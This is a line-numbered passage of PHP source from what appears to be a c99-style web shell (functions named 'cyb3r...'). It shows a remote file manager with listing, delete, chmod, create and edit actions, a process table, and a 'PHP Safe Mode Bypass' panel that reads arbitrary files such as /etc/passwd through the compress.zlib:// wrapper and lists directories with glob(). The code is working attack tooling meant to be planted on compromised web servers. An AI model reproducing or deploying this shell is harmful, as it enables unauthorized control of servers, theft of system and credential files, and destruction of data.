3573 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
3574
3575 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
3576
3577 if ($k > count($head)) {$k = count($head)-1;}
3578
3579 for($i=0;$i<count($head);$i++)
3580
3581 {
3582
3583 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
3584
3585 }
3586
3587 $prcs = array();
3588
3589 foreach ($stack as $line)
3590
3591 {
3592
3593 if (!empty($line))
3594
3595 {
3596
3597 echo "<tr>";
3598
3599 $line = explode("",$line);
3600
3601 $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
3602
3603 $line[2] = intval(str_replace(" ","",$line[2]))*1024;
3604
3605 $prcs[] = $line;
3606
3607 echo "</tr>";
3608
3609 }
3610
3611 }
3612
3613 }
3614
3615 $head[$k] = "<b>".$head[$k]."</b>".$y;
3616
3617 $v = $processes_sort[0];
3618
3619 usort($prcs,"tabsort");
3620
3621 if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
3622
3623 $tab = array();
3624
3625 $tab[] = $head;
3626
3627 $tab = array_merge($tab,$prcs);
3628
3629 echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
3630
3631 foreach($tab as $i=>$k)
3632
3633 {
3634
3635 echo "<tr>";
3636
3637 foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
3638
3639 echo "</tr>";
3640
3641 }
3642
3643 echo "</table>";
3644
3645 }
3646
3647}
3648
3649if ($act == "ls")
3650{
3651 if (count($ls_arr) > 0) {$list = $ls_arr;}
3652 else
3653 {
3654
3655 $list = array();
3656
3657 if ($h = @opendir($d))
3658
3659 {
3660
3661 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
3662
3663 closedir($h);
3664
3665 }
3666
3667 else {}
3668
3669 }
3670
3671 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
3672 else
3673 {
3674
3675 //Building array
3676
3677 $objects = array();
3678
3679 $vd = "f"; //Viewing mode
3680
3681 if ($vd == "f")
3682
3683 {
3684
3685 $objects["head"] = array();
3686
3687 $objects["folders"] = array();
3688
3689 $objects["links"] = array();
3690
3691 $objects["files"] = array();
3692
3693 foreach ($list as $v)
3694
3695 {
3696
3697 $o = basename($v);
3698
3699 $row = array();
3700
3701 if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
3702
3703 elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
3704
3705 elseif (is_dir($v))
3706
3707 {
3708
3709 if (is_link($v)) {$type = "LINK";}
3710
3711 else {$type = "DIR";}
3712
3713 $row[] = $v;
3714
3715 $row[] = $type;
3716
3717 }
3718
3719 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
3720
3721 $row[] = filemtime($v);
3722
3723 if (!$win)
3724
3725 {
3726
3727 $ow = posix_getpwuid(fileowner($v));
3728
3729 $gr = posix_getgrgid(filegroup($v));
3730
3731 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
3732
3733 }
3734
3735 $row[] = fileperms($v);
3736
3737 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
3738
3739 elseif (is_link($v)) {$objects["links"][] = $row;}
3740
3741 elseif (is_dir($v)) {$objects["folders"][] = $row;}
3742
3743 elseif (is_file($v)) {$objects["files"][] = $row;}
3744
3745 $i++;
3746
3747 }
3748
3749 $row = array();
3750
3751 $row[] = "<b>Name</b>";
3752
3753 $row[] = "<b>Size</b>";
3754
3755 $row[] = "<b>Modify</b>";
3756
3757 if (!$win)
3758
3759 {$row[] = "<b>Owner/Group</b>";}
3760
3761 $row[] = "<b>Perms</b>";
3762
3763 $row[] = "<b>Action</b>";
3764
3765 $parsesort = parsesort($sort);
3766
3767 $sort = $parsesort[0].$parsesort[1];
3768
3769 $k = $parsesort[0];
3770
3771 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
3772
3773 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
3774
3775 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
3776
3777 $row[$k] .= $y;
3778
3779 for($i=0;$i<count($row)-1;$i++)
3780
3781 {
3782
3783 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
3784
3785 }
3786
3787 $v = $parsesort[0];
3788
3789 usort($objects["folders"], "tabsort");
3790
3791 usort($objects["links"], "tabsort");
3792
3793 usort($objects["files"], "tabsort");
3794
3795 if ($parsesort[1] == "d")
3796
3797 {
3798
3799 $objects["folders"] = array_reverse($objects["folders"]);
3800
3801 $objects["files"] = array_reverse($objects["files"]);
3802
3803 }
3804
3805 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
3806
3807 $tab = array();
3808
3809 $tab["cols"] = array($row);
3810
3811 $tab["head"] = array();
3812
3813 $tab["folders"] = array();
3814
3815 $tab["links"] = array();
3816
3817 $tab["files"] = array();
3818
3819 $i = 0;
3820
3821 foreach ($objects as $a)
3822
3823 {
3824
3825 $v = $a[0];
3826
3827 $o = basename($v);
3828
3829 $dir = dirname($v);
3830
3831 if ($disp_fullpath) {$disppath = $v;}
3832
3833 else {$disppath = $o;}
3834
3835 $disppath = str2mini($disppath,60);
3836
3837 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
3838
3839 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
3840
3841 foreach ($regxp_highlight as $r)
3842
3843 {
3844
3845 if (ereg($r[0],$o))
3846
3847 {
3848
3849 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();}
3850
3851 else
3852
3853 {
3854
3855 $r[1] = round($r[1]);
3856
3857 $isdir = is_dir($v);
3858
3859 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
3860
3861 {
3862
3863 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
3864
3865 $disppath = $r[2].$disppath.$r[3];
3866
3867 if ($r[4]) {break;}
3868
3869 }
3870
3871 }
3872
3873 }
3874
3875 }
3876
3877 $uo = urlencode($o);
3878
3879 $ud = urlencode($dir);
3880
3881 $uv = urlencode($v);
3882
3883 $row = array();
3884
3885 if ($o == ".")
3886
3887 {
3888
3889 $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
3890
3891 $row[] = "LINK";
3892
3893 }
3894
3895 elseif ($o == "..")
3896
3897 {
3898
3899 $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
3900
3901 $row[] = "LINK";
3902
3903 }
3904
3905 elseif (is_dir($v))
3906
3907 {
3908
3909 if (is_link($v))
3910
3911 {
3912
3913 $disppath .= " => ".readlink($v);
3914
3915 $type = "LINK";
3916
3917 $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
3918
3919 }
3920
3921 else
3922
3923 {
3924
3925 $type = "DIR";
3926
3927 $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
3928
3929 }
3930
3931 $row[] = $type;
3932
3933 }
3934
3935 elseif(is_file($v))
3936
3937 {
3938
3939 $ext = explode(".",$o);
3940
3941 $c = count($ext)-1;
3942
3943 $ext = $ext[$c];
3944
3945 $ext = strtolower($ext);
3946
3947 $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
3948
3949 $row[] = view_size($a[1]);
3950
3951 }
3952
3953 $row[] = date("d.m.Y H:i:s",$a[2]);
3954
3955 if (!$win) {$row[] = $a[3];}
3956
3957 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
3958
3959 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
3960
3961 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
3962
3963 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;}
3964
3965 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;}
3966
3967 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
3968
3969 elseif (is_link($v)) {$tab["links"][] = $row;}
3970
3971 elseif (is_dir($v)) {$tab["folders"][] = $row;}
3972
3973 elseif (is_file($v)) {$tab["files"][] = $row;}
3974
3975 $i++;
3976
3977 }
3978
3979 }
3980
3981 // Compiling table
3982
3983 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
3984
3985 echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
3986
3987 foreach($table as $row)
3988
3989 {
3990
3991 echo "<tr>\r\n";
3992
3993 foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
3994
3995 echo "</tr>\r\n";
3996
3997 }
3998
3999 echo "</table><br><hr size=\"1\" noshade><p align=\"right\">
4000
4001 <script>
4002
4003 function ls_setcheckboxall(status)
4004
4005 {
4006
4007 var id = 1;
4008
4009 var num = ".(count($table)-2).";
4010
4011 while (id <= num)
4012
4013 {
4014
4015 document.getElementById('actbox'+id).checked = status;
4016
4017 id++;
4018
4019 }
4020
4021 }
4022
4023 function ls_reverse_all()
4024
4025 {
4026
4027 var id = 1;
4028
4029 var num = ".(count($table)-2).";
4030
4031 while (id <= num)
4032
4033 {
4034
4035 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
4036
4037 id++;
4038
4039 }
4040
4041 }
4042
4043 </script>
4044
4045 <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
4046
4047 <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
4048
4049 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
4050
4051 {
4052
4053 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
4054
4055 }
4056
4057 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
4058
4059 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
4060
4061 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
4062
4063 if ($usefsbuff)
4064
4065 {
4066
4067 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
4068
4069 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
4070
4071 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
4072
4073 }
4074
4075 echo "</select> <input type=submit value=\"Confirm\"></p>";
4076
4077 echo "</form><hr size=\"1\" noshade>";
4078 }
4079 ?>
4080<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" borderColorLight=#c0c0c0 border=1>
4081 <tr> <!-- 1 -->
4082 <td valign="top" width="33%" ><p align="center"><b>:: PHP Safe Mode Bypass ::</b></p></td>
4083 <td valign="top" width="33%" ><p align="center"><b>:: Make File/Directory ::</b></p></td>
4084 <td valign="top" ><p align="center"><b>:: Go File/Directory ::</b></p></td>
4085 </tr>
4086 <tr><!-- 3 -->
4087 <td valign="top">
4088
4089 <center><b>(: List Directories :)</b> <form action="<?php echo $surl; ?>">
4090
4091 <div align="center"><br>
4092
4093 Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br></div>
4094<?php
4095
4096
4097
4098 function rsg_glob()
4099
4100{
4101
4102$chemin=$_GET['directory'];
4103
4104$files = glob("$chemin*");
4105
4106echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
4107
4108foreach ($files as $filename) {
4109
4110 echo "<pre>";
4111
4112 echo "$filename\n";
4113
4114 echo "</pre>";
4115
4116}
4117
4118}
4119
4120
4121
4122if(isset($_GET['directory']))
4123
4124{
4125
4126rsg_glob();
4127
4128}
4129
4130
4131
4132?>
4133
4134
4135 </form></center>
4136
4137 </td>
4138 <td>
4139 <center><b>[: Make Directory :]</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center>
4140 </td>
4141 <td>
4142 <center><b>{: Go Directory :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center>
4143 </td>
4144 </tr>
4145 <tr><!-- 2 -->
4146 <td valign="top">
4147
4148 <div align="center"><b>(: Read Files :)</b></div><br>
4149
4150 <form action="<?php echo $surl; ?>">
4151
4152 <div align="center">File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
4153 <?php
4154
4155 function rsg_read()
4156
4157 {
4158
4159 $test="";
4160
4161 $temp=tempnam($test, "cx");
4162
4163 $file=$_GET['file'];
4164
4165 $get=htmlspecialchars($file);
4166
4167 echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
4168
4169 if(copy("compress.zlib://".$file, $temp)){
4170
4171 $fichier = fopen($temp, "r");
4172
4173 $action = fread($fichier, filesize($temp));
4174
4175 fclose($fichier);
4176
4177 $source=htmlspecialchars($action);
4178
4179 echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
4180
4181 unlink($temp);
4182
4183 } else {
4184
4185 die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
4186
4187 <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
4188
4189 access.</CENTER></FONT>");
4190
4191 }
4192
4193 echo "</div>";
4194
4195 }
4196
4197
4198
4199 if(isset($_GET['file']))
4200
4201{
4202
4203rsg_read();
4204
4205}
4206
4207
4208
4209 ?>
4210
4211
4212 <br>
4213
4214 </div>
4215
4216 </form>
4217
4218 </td>
4219 <td >
4220 <center><b>[: Make File :]</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center>
4221 </td>
4222 <td>
4223 <center><b>{: Go File :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center>
4224 </td>
4225
4226 </tr>
4227
4228 </table> <?php
4229 }
4230
4231
4232if ($act == "delete")
4233
4234{
4235
4236 $delerr = "";
4237
4238 foreach ($actbox as $v)
4239
4240 {
4241
4242 $result = FALSE;
4243
4244 $result = fs_rmobj($v);
4245
4246 if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
4247
4248 }
4249
4250 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
4251
4252 $act = "ls";
4253
4254}
4255
4256if ($act == "chmod")
4257
4258{
4259
4260 $mode = fileperms($d.$f);
4261
4262 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
4263
4264 else
4265
4266 {
4267
4268 $form = TRUE;
4269
4270 if ($chmod_submit)
4271
4272 {
4273
4274 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
4275
4276 if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
4277
4278 else {$err = "Can't chmod to ".$octet.".";}
4279
4280 }
4281
4282 if ($form)
4283
4284 {
4285
4286 $perms = parse_perms($mode);
4287
4288 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
4289
4290 }
4291
4292 }
4293
4294}
4295
4296if ($act == "search")
4297
4298{
4299
4300 echo "<b>Search in file-system:</b><br>";
4301
4302 if (empty($search_in)) {$search_in = $d;}
4303
4304 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
4305
4306 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
4307
4308 if (!empty($submit))
4309
4310 {
4311
4312 $found = array();
4313
4314 $found_d = 0;
4315
4316 $found_f = 0;
4317
4318 $search_i_f = 0;
4319
4320 $search_i_d = 0;
4321
4322 $a = array
4323
4324 (
4325
4326 "name"=>$search_name, "name_regexp"=>$search_name_regexp,
4327
4328 "text"=>$search_text, "text_regexp"=>$search_text_regxp,
4329
4330 "text_wwo"=>$search_text_wwo,
4331
4332 "text_cs"=>$search_text_cs,
4333
4334 "text_not"=>$search_text_not
4335
4336 );
4337
4338 $searchtime = getmicrotime();
4339
4340 $in = array_unique(explode(";",$search_in));
4341
4342 foreach($in as $v) {cyb3rfsearch($v);}
4343
4344 $searchtime = round(getmicrotime()-$searchtime,4);
4345
4346 if (count($found) == 0) {echo "<b>No files found!</b>";}
4347
4348 else
4349
4350 {
4351
4352 $ls_arr = $found;
4353
4354 $disp_fullpath = TRUE;
4355
4356 $act = "ls";
4357
4358 }
4359
4360 }
4361
4362 echo "<form method=POST>
4363
4364<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
4365
4366<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
4367
4368<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
4369
4370<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
4371
4372<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
4373
4374 <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
4375
4376 <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
4377
4378 <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
4379
4380<br><br><input type=submit name=submit value=\"Search\"></form>";
4381
4382 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
4383
4384}
4385
4386if ($act == "fsbuff")
4387
4388{
4389
4390 $arr_copy = $sess_data["copy"];
4391
4392 $arr_cut = $sess_data["cut"];
4393
4394 $arr = array_merge($arr_copy,$arr_cut);
4395
4396 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
4397
4398 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
4399
4400}
4401
4402if ($act == "d")
4403
4404{
4405
4406 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
4407
4408 else
4409
4410 {
4411
4412 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
4413
4414 if (!$win)
4415
4416 {
4417
4418 echo "<tr><td><b>Owner/Group</b></td><td> ";
4419
4420 $ow = posix_getpwuid(fileowner($d));
4421
4422 $gr = posix_getgrgid(filegroup($d));
4423
4424 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
4425
4426 }
4427
4428 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
4429
4430 }
4431
4432}
4433
4434if ($act == "chmod")
4435
4436{
4437
4438 $mode = fileperms($d.$f);
4439
4440 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
4441
4442 else
4443
4444 {
4445
4446 $form = TRUE;
4447
4448 if ($chmod_submit)
4449
4450 {
4451
4452 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
4453
4454 if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
4455
4456 else {$err = "Can't chmod to ".$octet.".";}
4457
4458 }
4459
4460 if ($form)
4461
4462 {
4463
4464 $perms = parse_perms($mode);
4465
4466 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
4467
4468 }
4469
4470 }
4471
4472}
4473
4474if ($act == "f")
4475
4476{
4477
4478 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
4479
4480 {
4481
4482 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
4483
4484 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
4485
4486 }
4487
4488 else
4489
4490 {
4491
4492 $r = @file_get_contents($d.$f);
4493
4494 $ext = explode(".",$f);
4495
4496 $c = count($ext)-1;
4497
4498 $ext = $ext[$c];
4499
4500 $ext = strtolower($ext);
4501
4502 $rft = "";
4503
4504 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
4505
4506 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
4507
4508 if (empty($ft)) {$ft = $rft;}
4509
4510 $arr = array(
4511
4512 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
4513
4514 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
4515
4516 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
4517
4518 array("Code","code"),
4519
4520 array("Session","phpsess"),
4521
4522 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
4523
4524 array("SDB","sdb"),
4525
4526 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
4527
4528 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
4529
4530 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
4531
4532 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
4533
4534 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
4535
4536 );
4537
4538 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
4539
4540 foreach($arr as $t)
4541
4542 {
4543
4544 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
4545
4546 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
4547
4548 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
4549
